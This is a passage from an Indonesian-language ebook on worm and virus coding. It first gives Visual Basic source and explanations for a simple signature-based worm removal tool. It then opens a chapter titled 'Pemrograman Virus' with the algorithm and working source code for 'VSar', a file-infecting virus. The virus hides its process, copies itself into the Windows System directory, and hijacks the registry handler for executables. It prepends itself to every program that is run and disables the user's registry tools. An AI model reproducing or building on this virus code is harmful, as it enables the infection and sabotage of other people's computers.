Private Sub cmdApply_Click() On Error Resume Next If InStrRev(txtName, ";") > 0 Or InStrRev(cmbType, ";") > 0 Or _ InStrRev(txtSign, ";") > 0 Then MsgBox("This sign ';’ is not allowed", vbCritical) Else lstName.List(NoUrut) = txtName.Text lstType.List(NoUrut) = cmbType.Text lstSign.List(NoUrut) = txtSign.Text End IfEnd Sub

Private Sub cmdAdd_Click() On Error Resume Next If Len(txtName) = 0 Or Len(cmbType) = 0 Or Len(txtSign) = 0 _ Then Exit Sub If InStrRev(txtName, ";") > 0 Or InStrRev(cmbType, ";") > 0 Or _ InStrRev(txtSign, ";") > 0 Then MsgBox("This sign ';’ is not allowed", vbCritical) Else lstName.AddItem(txtName) lstType.AddItem(cmbType) lstSign.AddItem(txtSign) End IfEnd Sub

Private Sub cmdClose_Click() On Error Resume Next Dim Scan As String Dim i As Integer Dim f As Integer Scan = txtSize.Text & ";" & cmbProc.Text & ";" & cmbWild.Text _ & vbCrLf For i = 0 To lstName.ListCount - 1 Scan = Scan & lstName.List(i) & ";" & lstType.List(i) & ";" & _ lstSign.List(i) & vbCrLf Next i f = FreeFileOpen App.Path & "\scan.dat" For Output As #fPrint #f, ScanClose #f Unload(Me)End Sub

Private Sub cmdDelete_Click() On Error Resume Next If lstName.Selected(lstName.ListIndex) = True Then lstType.RemoveItem(lstName.ListIndex) lstSign.RemoveItem(lstName.ListIndex) lstName.RemoveItem(lstName.ListIndex) End IfEnd Sub

Page 137: Computer Worm 2-eBook

126Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Private Sub lstName_Click() lstType.TopIndex = lstName.TopIndex lstType.ListIndex = lstName.ListIndex lstSign.TopIndex = lstName.TopIndex lstSign.ListIndex = lstName.ListIndexEnd Sub

Private Sub lstName_MouseDown(ByVal Button As Integer, ByVal Shift As _ Integer, ByVal x As Single, ByVal Y As Single) Call lstName_Click()End Sub

Private Sub lstName_MouseMove(ByVal Button As Integer, ByVal Shift As _ Integer, ByVal x As Single, ByVal Y As Single) Call lstName_Click()End Sub

Private Sub lstName_Scroll() lstType.TopIndex = lstName.TopIndex lstSign.TopIndex = lstName.TopIndexEnd Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load aktif saat form startup, dengan menggunakan fungsi parse pada file 'scan.dat’ yang berada pada path yang sama dengan program removal. Jika data pada baris ke-2 dan kolom ke-1 tidak ada maka procedure membuka file 'scan.dat’ dan menambahkan 3 baris data, yaitu:

50000;MANUAL;*.*GenericWorm;NAM;*.*.exeEICAR;STR;50254041505B345C505A

Kemudian data yang didapatkan dari penggunaan fungsi parse, data pada baris ke-1 dan kolom ke-1 (nilai default = 50000) diatur pada txtSize, data pada baris ke-1 dan kolom ke-2 (nilai default = MANUAL) diatur pada cmbProc, data pada baris ke-1 dan kolom ke-3 (nilai default = *.*) diatur pada cmbWild.

Page 138: Computer Worm 2-eBook

127Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Selanjutnya data baris ke-2 (dan seterusnya) dan pada kolom ke-1 ditambahkan pada lstName, data baris ke-2 (dan seterusnya) dan pada kolom ke-2 ditambahkan pada lstType, data baris ke-2 (dan seterusnya) dan pada kolom ke-3 ditambahkan pada lstSign.

Pada kode program penulisan akan terlihat berbeda karena array atau index pada ListBox dimulai dengan 0 dan bukannya 1.

Procedure cmdEdit_Click aktif saat user mengklik tombol Edit pada form, yang akan mengatur nilai variabel NoUrut dengan nilai ListIndex dari lstName, kemudian mengatur text pada txtName dengan nilai lstName yang terseleksi, mengatur text pada cmbType dengan nilai lstType yang terseleksi dan mengatur text pada txtSign dengan nilai lstSign yang terseleksi.

Procedure cmdApply_Click aktif saat user mengklik tombol Apply pada form, yang memeriksa apakah text pada txtName, cmbType dan txtSign mengandung string ";".

Jika ya maka procedure menampilkan pesan "This sign ';’ is not allowed", sebaliknya jika tidak maka procedure mengatur data lstName pada list teredit dengan text dari txtName, mengatur data lstType pada list teredit dengan text dari cmbType, mengatur data lstSign pada list teredit dengan text dari txtSign.

Procedure cmdAdd_Click aktif saat user mengklik tombol Add pada form, akan memeriksa jika salah satu dari txtName, cmbType dan txtSign tidak memiliki nilai text atau kosong maka lompat pada branch 'Akhir’, kemudian memeriksa apakah text pada txtName, cmbType dan txtSign mengandung tanda ";", jika ya maka procedure me-nampilkan pesan "This sign ';’ is not allowed" dan langsung mengakhiri procedure. Sebaliknya jika tidak maka procedure menambahkan data pada lstName dengan text dari txtName, menambah data pada lstType dengan text dari cmbType, menambah data pada lstSign dengan text dari txtSign.

Procedure cmdClose_Click aktif saat user mengklik tombol Close pada form, dengan mengumpulkan data-data yang ada dan menyimpannya pada file 'scan.dat’ kemudian langsung mengakhiri form frmSignature.

Page 139: Computer Worm 2-eBook

128Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Procedure cmdDelete_Click aktif saat user mengklik tombol Delete pada form, jika lstName terseleksi maka hapus data lstType, lstSign dan lstName pada ListIndex yang terseleksi.

Procedure lstName_MouseDown, lstName_MouseMove, lstName_Scroll dan lstName_Click berfungsi untuk mensinkronkan posisi seleksi pada lstType dan lstSign saat lstName terseleksi.

3.2.3 FORM3Tambahkan 1 buah object CRC dari UserControl CRC, 2 buah object Frame, 1 buah object Image, 1 buah object CheckBox, 8 buah object CommandButton, 2 buah object Label, 5 buah object ListBox dan 1 buah object TextBox, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form3

Jenis Nilai KeteranganName FrmRemoval Mengatur nama form menjadi FrmRe-

moval

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

BorderStyle Fixed Single Mengatur jenis border form menjadi tetap

Caption Simple Worm Remover

Mengatur titel yang akan ditampilkan pada form

Height 6960 Mengatur tinggi form

Icon (Icon) Pilih icon yang akan digunakan pada form, FrmRemoval menggunakan icon sun.ico

MaxButton False Tidak mengaktifkan tombol maximize

MinButton False Tidak mengaktifkan tombol minimize

StartUpPosi-tion

2 - Center Screen Menempatkan jendela form ditengah layar pada saat load.

Width 6210 Mengatur lebar form

Page 140: Computer Worm 2-eBook

129Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti object CRC1

Jenis Nilai KeteranganLeft 120 Mengatur jarak CRC dari kiri

Top 120 Mengatur jarak CRC dari atas

Properti object Frame1

Jenis Nilai KeteranganBackColor &H00E0E0E0& Mengatur warna latar belakang menjadi

abu-abu muda

Caption Full Path Mengatur titel yang akan ditampilkan pada Frame

Height 1095 Mengatur tinggi Frame

Left 120 Mengatur jarak Frame dari kiri

Top 1320 Mengatur jarak Frame dari atas

Width 5895 Mengatur lebar Frame

Properti object Frame2

Jenis Nilai KeteranganBackColor &H00E0E0E0& Mengatur warna latar belakang menjadi

abu-abu muda

Caption Worm Found Mengatur titel yang akan ditampilkan pada Frame

Height 2775 Mengatur tinggi Frame

Left 120 Mengatur jarak Frame dari kiri

Top 2520 Mengatur jarak Frame dari atas

Width 5895 Mengatur lebar Frame

Page 141: Computer Worm 2-eBook

130Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Properti object Image1

Jenis Nilai KeteranganPicture (Bitmap) Mengatur gambar, dalam hal ini adalah worm

removal.jpg

Height 1110 Mengatur tinggi Image

Left 120 Mengatur jarak Frame dari kiri

Top 120 Mengatur jarak Frame dari atas

Width 5910 Mengatur lebar Image

Properti object Check1

Jenis Nilai KeteranganName chkOld Mengatur nama CheckBox menjadi

chkOld

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

Caption Clear Old Data Mengatur caption CheckBox menjadi Clear Old Data

Height 255 Mengatur tinggi CheckBox

Left 240 Mengatur jarak CheckBox dari kiri

Top 2040 Mengatur jarak CheckBox dari atas

Value 1 - Checked Mengatur nilai default CheckBox menjadi terseleksi

Width 1455 Mengatur lebar CheckBox

Properti object Command1

Jenis Nilai KeteranganName cmd-

BrowseMengatur nama CommandButton menjadi cmd-Browse

Caption Browse Mengatur caption CommandButton menjadi Browse

Height 375 Mengatur tinggi CommandButton

Left 4920 Mengatur jarak CommandButton dari kiri

Top 1920 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Page 142: Computer Worm 2-eBook

131Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti object Command2

Jenis Nilai KeteranganName cmdLog Mengatur nama CommandButton menjadi cmdLog

Caption Report Mengatur caption CommandButton menjadi Report

Height 375 Mengatur tinggi CommandButton

Left 3945 Mengatur jarak CommandButton dari kiri

Top 1920 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command3

Jenis Nilai KeteranganName cmdSign Mengatur nama CommandButton menjadi

cmdSign

Caption Signature Mengatur caption CommandButton menjadi Signature

Height 375 Mengatur tinggi CommandButton

Left 2970 Mengatur jarak CommandButton dari kiri

Top 1920 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command4

Jenis Nilai KeteranganName cmdReload Mengatur nama CommandButton menjadi

cmdReload

Caption Reload Mengatur caption CommandButton menjadi Reload

Height 375 Mengatur tinggi CommandButton

Left 1995 Mengatur jarak CommandButton dari kiri

Top 1920 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Page 143: Computer Worm 2-eBook

132Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Properti object Command5

Jenis Nilai KeteranganName cmdDelete Mengatur nama CommandButton menjadi

cmdDelete

Caption Delete Mengatur caption CommandButton menjadi Delete

Height 375 Mengatur tinggi CommandButton

Left 2110 Mengatur jarak CommandButton dari kiri

Top 6000 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command6

Jenis Nilai KeteranganName cmdStop engatur nama CommandButton menjadi

cmdStop

Caption Stop Mengatur caption CommandButton menjadi Stop

Height 375 Mengatur tinggi CommandButton

Left 3090 Mengatur jarak CommandButton dari kiri

Top 6000 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Command7

Jenis Nilai KeteranganName cmdScan Mengatur nama CommandButton menjadi

cmdScan

Caption Scan Mengatur caption CommandButton menjadi Scan

Height 375 Mengatur tinggi CommandButton

Left 4060 Mengatur jarak CommandButton dari kiri

Top 6000 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Page 144: Computer Worm 2-eBook

133Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Properti object Command8

Jenis Nilai KeteranganName cmdExit Mengatur nama CommandButton menjadi

cmdExit

Caption Exit Mengatur caption CommandButton menjadi Exit

Height 375 Mengatur tinggi CommandButton

Left 5040 Mengatur jarak CommandButton dari kiri

Top 6000 Mengatur jarak CommandButton dari atas

Width 975 Mengatur lebar CommandButton

Properti object Label1

Jenis Nilai KeteranganName lblStatus Mengatur nama Label menjadi lblStatus

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption Dikosongkan

ForeColor &H00FF0000& Mengatur warna huruf menjadi biru

Height 495 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 5400 Mengatur jarak Label dari atas

Width 5895 Mengatur lebar Label

Properti object Label2

Jenis Nilai KeteranganName lblWait Mengatur nama Label menjadi lblWait

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption Please Wait ... Mengatur caption Label2 menjadi Please Wait ...

Font Font: MS San SerifFont Style: BoldSize: 12

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 12

Page 145: Computer Worm 2-eBook

134Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

ForeColor &H000080FF& Mengatur warna huruf menjadi jingga

Height 375 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 6000 Mengatur jarak Label dari atas

Width 1935 Mengatur lebar Label

Properti object List1

Jenis Nilai KeteranganName lstWormFound Mengatur nama ListBox menjadi

lstWormFound

ForeColor &H000000FF& Mengatur warna huruf menjadi merah

Height 2400 Mengatur tinggi ListBox

Left 120 Mengatur jarak ListBox dari kiri

MultiSelect 2 - Extended Mengatur metode seleksi pada mode Extended

Top 2760 Mengatur jarak ListBox dari atas

Width 5655 Mengatur lebar ListBox

Properti object List2

Jenis Nilai KeteranganName lstFound Mengatur nama ListBox menjadi lstFound

Height 450 Mengatur tinggi ListBox

Left 120 Mengatur jarak ListBox dari kiri

Top 6000 Mengatur jarak ListBox dari atas

Visible False Menyembunyikan ListBox saat run-time

Width 450 Mengatur lebar ListBox

Properti object List3

Jenis Nilai KeteranganName wName Mengatur nama ListBox menjadi wName

Height 450 Mengatur tinggi ListBox

Left 600 Mengatur jarak ListBox dari kiri

Page 146: Computer Worm 2-eBook

135Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Top 6000 Mengatur jarak ListBox dari atas

Visible False Menyembunyikan ListBox saat run-time

Width 450 Mengatur lebar ListBox

Properti object List4

Jenis Nilai KeteranganName wType Mengatur nama ListBox menjadi wType

Height 450 Mengatur tinggi ListBox

Left 1080 Mengatur jarak ListBox dari kiri

Top 6000 Mengatur jarak ListBox dari atas

Visible False Menyembunyikan ListBox saat run-time

Width 450 Mengatur lebar ListBox

Properti object List5

Jenis Nilai KeteranganName wSign Mengatur nama ListBox menjadi wSign

Height 450 Mengatur tinggi ListBox

Left 1560 Mengatur jarak ListBox dari kiri

Top 6000 Mengatur jarak ListBox dari atas

Visible False Menyembunyikan ListBox saat run-time

Width 450 Mengatur lebar ListBox

Properti object Text1

Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath

Height 285 Mengatur tinggi TextBox

Left 240 Mengatur jarak TextBox dari kiri

Text Dikosongkan

Top 1560 Mengatur jarak TextBox dari atas

Width 5655 Mengatur lebar TextBox

Page 147: Computer Worm 2-eBook

136Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Ketik kode program berikut ini pada object frmRemoval:

'Worm Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Dim DatFile() As ObjectPrivate Declare Function SleepEx Lib "kernel32" (ByVal _ dwMilliseconds As Long, ByVal bAlertable As Long) As LongPrivate Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate SF As String * 255

Private Sub Form_Load() Dim f As Integer If Len(Dir(App.Path & "\scan.dat")) < 1 Then f = FreeFileOpen App.Path & "\scan.dat" For Output As #fPrint #f, "50000;MANUAL;*.*" & vbCrLf & _ "GenericWorm;NAM;*.*.exe"Print #f, "EICAR;STR;50254041505B345C505A"Close #f End If LoadSignature(False) txtPath.Text = Left(SF, GetWindowsDirectory(SF, 255)) lblStatus.Caption = "#Worm Removal# Waitin" & _ "g for instruction..."End Sub

Private Function LoadSignature(ByVal Message As Boolean) wName.Clear() wType.Clear() wSign.Clear() Dim i As Long DatFile() = Parse(App.Path & "\scan.dat", ";") For i = 1 To UBound(DatFile) wName.AddItem(DatFile(i)(0)) wType.AddItem(DatFile(i)(1)) wSign.AddItem(DatFile(i)(2)) Next If Message = True Then MsgBox("Signature has been reloaded", _ vbInformation)End Function

Private Sub cmdBrowse_Click() Dim brwVal As String brwVal = BrowseForFolder("Select Drive And Directory:") If Len(brwVal) > 0 Then txtPath.Text = brwVal End IfEnd Sub

Page 148: Computer Worm 2-eBook

137Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Private Sub cmdDelete_Click() On Error Resume Next Dim i As Integer If lstWormFound.SelCount = 0 Then MsgBox("No file selected", vbCritical) Else Do Until lstWormFound.SelCount = 0 For i = 0 To lstWormFound.ListCount If lstWormFound.Selected(i) = True Then If DatFile(0)(1) = "MANUAL" Then WinExit( _ GetFileName(lstFound.List(i), True)) SetAttr(lstFound.List(i), vbNormal) SleepEx(1, False) Kill(lstFound.List(i)) lstFound.RemoveItem(i) lstWormFound.RemoveItem(i) End If Next Loop End If UpdateStatus()End Sub

Private Sub cmdLog_Click() frmLog.Show()End Sub

Private Sub cmdReload_Click() LoadSignature(True)End Sub

Private Sub cmdSign_Click() frmSignature.Show()End Sub

Private Sub cmdStop_Click() StopIt = TrueEnd SubPrivate Sub cmdExit_Click() StopIt = True EndEnd Sub

Private Sub Form_Unload(ByVal Cancel As Integer) StopIt = False EndEnd Sub

Private Sub lstWormFound_Click() lblStatus.Caption = lstFound.List(lstWormFound.ListIndex)End Sub

Private Sub lstWormFound_DblClick() On Error Resume Next cmdDelete_Click()End Sub

Page 149: Computer Worm 2-eBook

138Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Private Sub UpdateStatus() lblStatus.Caption = "Total worm found: " & lstFound.ListCountEnd Sub

Private Sub cmdScan_Click() On Error Resume Next Dim xmount As String cmdScan.Enabled = False lstWormFound.Enabled = False If Mid(txtPath.Text, 2, 2) <> ":\" Then MsgBox("Path file not found", vbCritical) GoTo ProcError End If If chkOld.Value = Checked Then lstFound.Clear() lstWormFound.Clear() End If StopIt = False lblWait.Visible = TruefrmLog.txtLog.Text = frmLog.txtLog.Text & "[ Scanning Starte" & _ "d At: " & Date & " - " & Time & " ]" & vbCrLf frmLog.txtLog.Text = frmLog.txtLog.Text & "[ Full Path: " & _ txtPath.Text & " ]" & vbCrLf FindFiles(txtPath.Text, (DatFile(0)(2)), wName, wType, wSign, _ (DatFile(0)(0)), (DatFile(0)(1)), CRC1, lstFound, lstWormFound, _ lblStatus, frmLog.txtLog) If lstFound.ListCount > 1 Then xmount = " files." Else xmount = " file." End If If StopIt = False ThenfrmLog.txtLog.Text = frmLog.txtLog.Text & "[ Scanning Finish" & _ "ed At: " & Date & " - " & Time & " ]" & vbCrLf & vbCrLf ElsefrmLog.txtLog.Text = frmLog.txtLog.Text & "[ Scanning Stopp" & _ "ed By User At: " & Date & " - " & Time & " ]" & vbCrLf & _ vbCrLf End If MsgBox("Scan progress finished, found " & lstFound.ListCount & _ xmount, vbInformation) UpdateStatus() lstWormFound.Enabled = TrueProcError: cmdScan.Enabled = True lblWait.Visible = FalseEnd Sub

Page 150: Computer Worm 2-eBook

139Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Berikut penjelasan tentang kode program:

Procedure Form_Load aktif saat form startup, dengan memeriksa keberadaan file 'scan.dat’ pada path yang sama dengan program re-moval, jika tidak ditemukan maka file akan membuat file 'scan.dat’ dan langsung menambahkan tiga baris data. Mengeksekusi function LoadSignature dengan tidak menampilkan pesan, mengatur text pada txtPath dengan nilai direktori spesial Windows, kemudian mengatur caption pada lblStatus menjadi "#Worm Removal# Waiting for instruc-tion..."

Function LoadSignature berfungsi untuk meng-import data dari file 'scan.dat’ ke ListBox wName, wType dan wSign. Jika nilai Message adalah true maka menampilkan pesan "Signature has been reloaded"

Procedure cmdBrowse_Click aktif saat user mengklik tombol Browse pada form, berfungsi untuk menampilkan kotak dialog Browse for Folder.

Procedure cmdDelete_Click, aktif saat user mengklik tombol Delete pada form, jika tidak ada data terpilih pada lstWormFound maka me-nampilkan pesan "No file selected", sebaliknya jika ada maka menghapus setiap file terseleksi pada lstWormFound dan langsung menghapusnya dari daftar, pada akhirnya procedure ini mengeksekusi procedure UpdateStatus.

Procedure cmdLog_Click aktif saat user mengklik tombol Report pada form, dengan menampilkan form frmLog.

Procedure cmdReload_Click aktif saat user mengklik tombol Reload pada form, dengan mengeksekusi function LoadSignature dan menga-tur pesan menjadi true.

Procedure cmdSign_Click aktif saat user mengklik tombol Signature pada form, dengan menampilkan form frmSignature.

Procedure cmdStop_Click akan aktif saat user mengklik tombol Stop pada form, dengan mengatur nilai variabel StopIt menjadi true, hal ini berkaitan dengan function FindFiles pada module mdlFindFile yang akan memberi isyarat untuk menghentikan proses function tersebut.

Procedure cmdExit_Click akan aktif saat user mengklik tombol Exit pada form, dengan mengatur nilai variabel StopIt menjadi true, dan langsung menutup program.

Page 151: Computer Worm 2-eBook

140Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Procedure Form_Unload aktif saat form ditutup, dengan mengatur nilai variabel StopIt menjadi false, dan langsung menutup program.

Procedure lstWormFound_Click aktif saat user mengklik lstWormFound, dengan mengatur nilai caption pada lblStatus dengan data lstFound pada ListIndex yang sama.

Procedure lstWormFound_DblClick aktif saat user mengklik ganda lstWormFound, dengan memanggil procedure cmdDelete_Click.

Procedure UpdateStatus mengatur nilai caption pada lblStatus men-jadi "Total worm found:" dan menambahkan jumlah data pada ListBox lstFound.

Procedure cmdScan_Click akan aktif saat user mengklik tombol Scan. Men-disable tombol Scan, Men-disable object lstWormFound, jika ka-rakter ke-2 dan ke-3 pada txtPath bukan string ":\" maka menampilkan kotak pesan "Path file not found" kemudian lompat ke baris 'ProcError’.

Jika value pada chkOld adalah Checked maka mengosongkan data pada lstFound dan lstWormFound, mengatur variabel StopIt menjadi false, menampilkan object lblWait.

Procedure kemudian menambahkan teks "[ Scanning Started At: tanggal – jam ]" pada txtLog yang berada pada form frmLog, dimana tanggal dan jam disesuaikan dengan waktu saat user mengklik tombol Scan, juga menambahkan teks "[ Full Path: drive dan direktori ]" dimana drive dan direktori disesuaikan dengan nilai yang ada pada txtPath.

Procedure juga mengeksekusi function FindFiles dengan mengisi variabel MyPath dengan data pada txtPath, mengisi variabel MyWild dengan data yang ada pada array 'DatFile(0)(2)’, mengatur variabel SignName dengan ListBox wName, mengatur variabel SignType dengan ListBox wType, mengatur variabel Signature dengan ListBox wSign, mengatur variabel SizeLimit dengan data yang ada pada array 'DatFile(0)(0)’, mengatur variabel ScMode dengan data yang ada pada array 'DatFile(0)(1)’, mengatur variabel MyCRC dengan UserControl CRC1, mengatur variabel MyList dengan ListBox lstFound, mengatur variabel NameList dengan ListBox lstWormFound, mengatur variabel MyLabel dengan Label lblStatus dan mengatur variabel MyLog dengan TextBox txtLog pada form frmLog.

Page 152: Computer Worm 2-eBook

141Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

3. D

efini

tion

File

Jika jumlah item pada lstFound lebih dari 1 maka mengatur nilai varia-bel xmount menjadi " files." jika tidak maka mengatur nilai variabel xmount menjadi " file.".

Jika variabel StopIt bernilai false maka menambahkan teks "[ Scanning Finished At: tanggal – jam ]" pada txtLog yang berada pada form frmLog, dimana tanggal dan jam disesuaikan dengan waktu saat proses scan-ning selesai, sebaliknya akan menambahkan teks "[Scanning Stopped By User At: tanggal – jam ]", dimana tanggal dan jam disesuaikan dengan waktu saat proses scanning diinterupsi oleh user dengan menekan tombol Stop pada form.

Procedure kemudian menampilkan pesan "Scan progress finished, found " dan melanjutkannya dengan nilai jumlah item pada lstFound, dan nilai pada variabel xmount, kemudian memanggil procedure UpdateStatus, mengatur object lstWormFound menjadi enable, mengatur tombol Scan menjadi enable dan menyembunyikan object lblWait.

Terakhir pada Project Properties, atur StartUp Project menjadi 'frmRemoval’ yang berada pada tab General dan pada tab Make atur Application Icon menjadi 'frmRemoval’.

Tampilan frmSignature saat dijalankan.

Page 153: Computer Worm 2-eBook

142Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 3. D

efinition File

Tampilan frmLog saat dijalankan.

Berikut ini adalah tampilan frmRemoval saat dijalankan.

Page 154: Computer Worm 2-eBook

143Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

BAB 4PEMROGRAMAN VIRUS

Kenapa bab ini ada?

Harapan penulis dengan mempelajari bab ini Anda akan semakin mengerti dan lebih memahami perbedaan antara Worm Komputer dan Virus Komputer, dua hal yang nyaris serupa namun pada kenyataannya adalah tidak sama

Page 155: Computer Worm 2-eBook

144Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

4.1 MEMBUAT VIRUSVirus ini dinamakan VSar atau Virus Dasar, virus yang sangat men-dasar dan sederhana sehingga akan lebih mudah untuk dimengerti, VSar tidak disertai dengan rutin-rutin tambahan seperti Payload dan lain sebagainya, namun demikian Anda tetap bisa memanfaatkan rutin-rutin yang telah dicontohkan pada WSar .

4.1.1 ALGORITMAVSar memiliki rutin-rutin yang akan melakukan suatu tindakan seb-agai berikut:

1. VSar menyembunyikan proses file virus dari task list2. Melakukan pemeriksaan terhadap eksistensi virus itu sendiri pada

suatu system komputer3. Jika VSar tidak mendapatkan eksistensinya maka VSar akan

melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan menggunakan metode Shell Spawn-ing, dengan memanipulasi registry untuk mengaktifkan virus setiap kali user mengeksekusi file executable

4. Setiap file executable yang tereksekusi akan diperiksa apakah sudah tertular VSar atau tidak dengan cara membaca pengenal yang berada pada 4 byte terakhir, jika ya maka VSar akan meng-drop file host dengan ekstensi dll dan langsung mengeksekusinya, sebaliknya jika tidak maka file tersebut akan ditambahkan file Virus didepannya dan tanda pengenal dibelakangnya.

File Virus File Host Pengenal

4.1.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'VSar’, dan Application Title menjadi 'VSar’, tambahkan 1 buah module kemudian atur properti untuk masing-masing object sebagai berikut:

Page 156: Computer Worm 2-eBook

145Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Properti object Form1

Jenis Nilai KeteranganName frmVirus Mengatur nama form menjadi frmVirus

ControlBox False Tidak menggunakan control box

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

Properti Module1

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Untuk module mdlRegistryAPI Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada form frmVirus:

'VSar By Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate Declare Function WaitForSingleObject Lib "kernel32" _ (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As _ LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal _ dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As _ Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal _ hObject As Long) As LongDim buff_hd As StringDim buff_host As StringDim hostsize As StringDim exefname As StringDim fname As StringDim VPath As StringDim Spawning As ObjectConst virsize As Long = (11264) 'size setelah dikompres dengan upxPrivate SF As String * 255

Page 157: Computer Worm 2-eBook

146Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 4. P

emrogram

an Virus

Public Sub Form_Load() On Error Resume Next Dim buff_victim As String Dim FileName As String Dim buff_vir As String Dim all_host As String App.TaskVisible = False Call InfectSystem() VPath = App.Path If Right(VPath, 1) <> "\" Then VPath = VPath & "\" End If Spawning = Command() fname = VPath & LCase(App.EXEName) & ".exe" If Len(Dir(Spawning)) < 1 Then GoTo akhir If FileLen(Spawning) < 1300000 ThenOpen Spawning For Binary Access Read As #2 all_host = Space(FileLen(Spawning))Get #2, , all_hostClose #2 If Right(all_host, 4) = "VSAR" Then OpenHost(Spawning) Else '======= Infect Host =========Open fname For Binary Access Read As #1 hostsize = (LOF(1) - Int(virsize)) buff_hd = Space(virsize) buff_host = Space(hostsize)Get #1, , buff_hdGet #1, , buff_hostClose #1Open Spawning For Binary Access Write As #4 hostsize = (LOF(1) - Int(virsize)) buff_host = Space(hostsize)Put #4, , buff_hdPut #4, , all_hostPut #4, , "VSAR"Close #4 End If End If End Exit Subakhir: Shell(Spawning, vbNormalFocus) EndEnd Sub

Private Function OpenHost(ByVal NamaFile As String) On Error Resume Next Dim FakeName As String FakeName = Mid(Spawning, 1, (Len(Spawning) - 4)) & ".dll"Open NamaFile For Binary Access Read As #1 hostsize = (LOF(1) - Int(virsize)) buff_hd = Space(virsize) buff_host = Space(hostsize - 4)

Page 158: Computer Worm 2-eBook

147Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

4. P

emro

gram

an V

irus

Get #1, , buff_hdGet #1, , buff_hostClose #1 If Len(Dir(FakeName)) = 0 ThenOpen FakeName For Binary Access Write As #2Put #2, , buff_hostClose #2 End If WaitProcess(Shell(FakeName, vbNormalFocus)) Kill(FakeName) EndEnd Function

Private Sub InfectSystem() If Len(Dir(SystemDir & "\loadexe.exe")) = 0 Then FileCopy(App.Path & "\" & App.EXEName & ".exe", SystemDir _ & "\loadexe.exe") End If If GetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open" & _ "\command", "") <> "loadexe.exe %1" Then SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _ "loadexe.exe %1") End If CreateKey("HKEY_CURRENT_USER\Software\Microsoft\Win" & _ "dows\CurrentVersion\Policies\System") If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _ "rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _ "egistryTools") <> 1 Then SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 1) End IfEnd Sub

